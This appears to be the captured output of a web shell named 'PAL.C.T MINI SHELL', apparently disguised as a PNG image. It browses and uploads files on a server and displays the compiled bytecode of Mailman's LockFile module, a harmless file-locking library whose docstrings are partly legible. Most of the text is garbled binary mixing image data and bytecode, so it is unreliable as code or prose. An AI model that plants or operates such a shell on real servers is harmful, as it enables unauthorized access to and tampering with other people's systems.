php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/
upload
files >> //usr/lib/mailman/Mailman/LockFile.pyo

Pc@sdZddkZddkZddkZddkZddkZddkZddklZl	Z	dZ
dZyee
fWnej
odZdZ
nXeadZd	efd
YZdefdYZd
efdYZdefdYZdfdYZdZdZdZdZdZedjo3ddkZddkZeeei dndS(sIPortable, NFS-safe file locking with timeouts.

This code implements an NFS-safe file-based locking algorithm influenced by
the GNU/Linux open(2) manpage, under the description of the O_EXCL option.
From RH6.1:

        [...] O_EXCL is broken on NFS file systems, programs which rely on it
        for performing locking tasks will contain a race condition.  The
        solution for performing atomic file locking using a lockfile is to
        create a unique file on the same fs (e.g., incorporating hostname and
        pid), use link(2) to make a link to the lockfile.  If link() returns
        0, the lock is successful.  Otherwise, use stat(2) on the unique file
        to check if its link count has increased to 2, in which case the lock
        is also successful.

The assumption made here is that there will be no `outside interference',
e.g. no agent external to this code will have access to link() to the affected
lock files.

LockFile objects support lock-breaking so that you can't wedge a process
forever.  This is especially helpful in a web environment, but may not be
appropriate for all applications.

Locks have a `lifetime', which is the maximum length of time the process
expects to retain the lock.  It is important to pick a good number here
because other processes will not break an existing lock until the expected
lifetime has expired.  Too long and other processes will hang; too short and
you'll end up trampling on existing process locks -- and possibly corrupting
data.  In a distributed (NFS) environment, you also need to make sure that
your clocks are properly synchronized.

Locks can also log their state to a log file.  When running under Mailman, the
log file is placed in a Mailman-specific location, otherwise, the log file is
called `LockFile.log' and placed in the temp directory (calculated from
tempfile.mktemp()).

iN(tST_NLINKtST_MTIMEii
iicCstdjoy ddkl}|daWqtj
ocddk}tii|i	d}tii
|d}dddY}||aqXntS(	Ni(t
StampedLoggertlocksisLockFile.logtSimpleUserFilecBseZdZdZRS(cSs,t|dd|_dti|_dS(Ntais(%d) (topent_SimpleUserFile__fptostgetpidt_SimpleUserFile__prefix(tselftpath((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt__init__cscSs3dti}|ii|i|d|dS(Ns%.3ft (ttimeRtwriteR
(Rtmsgtnow((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyRfs(t__name__t
__module__R
R(((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyRbs	((t_logfiletNonetMailman.Logging.StampedLoggerRtImportErrorttempfileRRtsplittmktemptjoin(RRtdirRR((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt_get_logfileVs
t	LockErrorcBseZdZRS(s-Base class for all exceptions in this module.(RRt__doc__(((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyRostAlreadyLockedErrorcBseZdZRS(s4An attempt is made to lock an already locked object.(RRR (((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyR!rstNotLockedErrorcBseZdZRS(s9An attempt is made to unlock an object that isn't locked.(RRR (((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyR"ustTimeOutErrorcBseZdZRS(s7The timeout interval elapsed before the lock succeeded.(RRR (((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyR#xstLockFilecBseZdZdZeedZdZdZdZ	dedZddZedZ
d	Zd
ZdZdZd
ZdZddZdZdZddZdZdZdZdZRS(s'A portable way to lock resources by way of the file system.

    This class supports the following methods:

    __init__(lockfile[, lifetime[, withlogging]]):
        Create the resource lock using lockfile as the global lock file.  Each
        process laying claim to this resource lock will create their own
        temporary lock files based on the path specified by lockfile.
        Optional lifetime is the number of seconds the process expects to hold
        the lock.  Optional withlogging, when true, turns on lockfile logging
        (see the module docstring for details).

    set_lifetime(lifetime):
        Set a new lock lifetime.  This takes affect the next time the file is
        locked, but does not refresh a locked file.

    get_lifetime():
        Return the lock's lifetime.

    refresh([newlifetime[, unconditionally]]):
        Refreshes the lifetime of a locked file.  Use this if you realize that
        you need to keep a resource locked longer than you thought.  With
        optional newlifetime, set the lock's lifetime.   Raises NotLockedError
        if the lock is not set, unless optional unconditionally flag is set to
        true.

    lock([timeout]):
        Acquire the lock.  This blocks until the lock is acquired unless
        optional timeout is greater than 0, in which case, a TimeOutError is
        raised when timeout number of seconds (or possibly more) expires
        without lock acquisition.  Raises AlreadyLockedError if the lock is
        already set.

    unlock([unconditionally]):
        Relinquishes the lock.  Raises a NotLockedError if the lock is not
        set, unless optional unconditionally is true.

    locked():
        Return true if the lock is set, otherwise false.  To avoid race
        conditions, this refreshes the lock (on set locks).

    icCs||_||_ti|_tid7_d|titi|if|_	||_
tii|id|_
t|_dS(sCreate the resource lock using lockfile as the global lock file.

        Each process laying claim to this resource lock will create their own
        temporary lock files based on the path specified by lockfile.
        Optional lifetime is the number of seconds the process expects to hold
        the lock.  Optional withlogging, when true, turns on lockfile logging
        (see the module docstring for details).

        is%s.%s.%d.%dN(t_LockFile__lockfilet_LockFile__lifetimeR$tCOUNTERt_LockFile__countertsockettgethostnameRR	t_LockFile__tmpfnamet_LockFile__withloggingRRt_LockFile__logprefixtTruet_LockFile__owned(Rtlockfiletlifetimetwithlogging((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyR
s		%	cCs=dt||i|iodpd|itifS(Ns$<LockFile %s: %s [%s: %ssec] pid=%s>tlockedtunlocked(tidR%R3R&RR	(R((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt__repr__scCs
||_dS(sSet a new lock lifetime.

        This takes affect the next time the file is locked, but does not
        refresh a locked file.
        N(R&(RR1((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pytset_lifetimescCs|iS(sReturn the lock's lifetime.(R&(R((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pytget_lifetimescCs[|dj	o|i|n|io+|o#tdt||ifndS(sCRefreshes the lifetime of a locked file.

        Use this if you realize that you need to keep a resource locked longer
        than you thought.  With optional newlifetime, set the lock's lifetime.
        Raises NotLockedError if the lock is not set, unless optional
        unconditionally flag is set to true.
        s%s: %sN(RR7R3R"treprt_LockFile__read(Rtnewlifetimetunconditionally((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pytrefreshs
cCs|oti|}n|i|i|idd}xto|d7}y2ti|i|i|id|iPWnt	j
o}|i
t
ijoqY|i
t
ijo.|id|dtti
|iqY|idjo!|id|idtqY|i|ijo|id	tqYnX|o:|tijo'ti
|i|id
tnti|itjo!|i|iddtn|dp|id
n|iqEWdS(s?Acquire the lock.

        This blocks until the lock is acquired unless optional timeout is
        greater than 0, in which case, a TimeOutError is raised when timeout
        number of seconds (or possibly more) expires without lock acquisition.
        Raises AlreadyLockedError if the lock is already set.
        slaying claimiisgot the locksunexpected link error: %st	importantisunexpected linkcount: %dsalready lockeds	timed outslifetime has expired, breakingidswaiting for claimN(Rt_LockFile__writet_LockFile__toucht_LockFile__writelogR.RtlinkR+R%tOSErrorterrnotENOENTtEEXISTtunlinkt_LockFile__linkcountR:R!R#t_LockFile__releasetimet
CLOCK_SLOPt_LockFile__breakt_LockFile__sleep(Rttimeoutttimeout_timet	loopcountte((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pytlocksP





	




cCs|i}|o|o
tn|oJyti|iWqwtj
o#}|itijoqsqwXnyti|iWn/tj
o#}|itijoqnX|i	ddS(sUnlock the lock.

        If we don't already own the lock (either because of unbalanced unlock
        calls, or because the lock was stolen out from under us), raise a
        NotLockedError, unless optional `unconditionally' is true.
        R4N(
R3R"RRGR%RCRDRER+RA(RR<tislockedRP((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pytunlock:s
cCsly|iWn0tj
o$}|itijotSnX|idjotS|i|ijS(sReturn true if we own the lock, false if we do not.

        Checking the status of the lock resets the lock's lifetime, which
        helps avoid race conditions during the lock status test.
        i(R@RCRDtEPERMtFalseRHR:R+(RRP((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyR3QscCs|idtdS(NR<(RSR.(R((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pytfinalizefscCs|io|indS(N(R/RV(R((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt__del__is
cCs||i|i}d|iti|f|_ti|i|i|it	|_
ti||iddS(Ns%s.%s.%dstransferred the lock(
R@R:R%R)R*R+RRBR?RUR/RGRA(Rtpidtwinner((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt_transfer_tots

	
cCsud|ititif|_}x8|idjp|i|joti	dq,W|i
ddS(Ns%s.%s.%dig?stook possession of the lock(R%R)R*RR	R+RHR:RtsleepRA(Rttmpfname((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt_take_possessions&&cCs
t|_dS(N(RUR/(R((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt_disownscCsL|ip|o7t}|id|i|ftid|ndS(Ns%s %s
tfile(R,RRR-t	tracebacktprint_stack(RRR>tlogf((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt
__writelogs	cCsTtid}z0t|id}|i|i|iWdti|XdS(Nitw(RtumaskRR+Rtclose(Rtoldmasktfp((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt__writescCsdy-t|i}|i}|i|SWn0tj
o$}|itijondSXdS(N(RR%treadRftEnvironmentErrorRDRER(RRhtfilenameRP((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt__reads
cCsmti|i}y$ti|p|i||fWn/tj
o#}|itijoqinXdS(N(RR&RtutimeR+RCRDRE(RRlttRP((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt__touchs$cCsOyti|itSWn0tj
o$}|itijondSXdS(Ni(RtstatR%RRCRDRE(RRP((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt
__releasetimescCsOyti|itSWn0tj
o$}|itijondSXdS(Ni(RRqR%RRCRDRE(RRP((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt__linkcountscCsy|i|iWn/tj
o#}|itijoqFnX|i}yti|iWn/tj
o#}|itijoqnXy|oti|nWn/tj
o#}|itijoqnXdS(N(	R@R%RCRDRTR:RRGRE(RRPRY((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt__breaks"
cCs%tidd}ti|dS(Ng@g{Gz?(trandomRR[(Rtinterval((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt__sleepsN(RRR R'tDEFAULT_LOCK_LIFETIMERUR
R6R7R8RR=RQRSR3RVRWRZR]R^RAR?R:R@RIRHRKRL(((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyR$}s0*			S								
	
			"cCskdti}tddtdd}dti}dti}|GdG|GHt}d	}d	}d	}zy2ti}|Gd
GH|i|GdGHt}Wntj
o|GdGHn0Xti}|Gd
G||GdGHti	|Wd|oRy/|i
ti}|GdG||GdGHWqLtj
o|GdGHqLXnX|GdG|GHti	|dS(Ns[%d]s
/tmp/LockTestR2R1ixiis
workinterval:isacquiring...sacquired...s	timed outsacquisition time:tsecondsslock hold time:slock was brokens
webhit sleep:(RR	R$R.RuRURRQR#R[RSR"(tprefixR0tworkintervalthitwaitRRtt0tt1tt2((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt_dochilds<
	
	


cCsy)td}|id}|iWnctj
oW}|itijonddkl}|ti	
t
i

i}nXti
|dS(Ns/dev/randomi(i(tsha_new(RRjRfRkRDREt
Mailman.UtilsRRR	Rt	hexdigestRutseed(RhtdRPR((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt_seeds)cCstidd}xt|D]}}d|d|fGHti}|oti|d\}}qtytWntj
onXti	dqWdS(Niids
Loop %d of %di(
RutrandinttrangeRtforktwaitpidRRtKeyboardInterruptt_exit(ROtiRXtstatus((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt_onetest*s
cCsC|pdStidti\}}|djo||=ndS(Nii(RRtWNOHANG(tkidsRXR((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt_reap<s

cCsh}xjt|D]\}ti}|o|||<qtytWntj
onXtidqWx|ot|qvWdS(Ni(RRRRRRRR(tnumtestsRRRX((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt_testDs
t__main__(!R RR)RRDRuR`RqRRRxRJR.RUt	NameErrorRRRt	ExceptionRR!R"R#R$RRRRRRtsystinttargv(((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/LockFile.pyt<module>5s>	y	(	
			

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`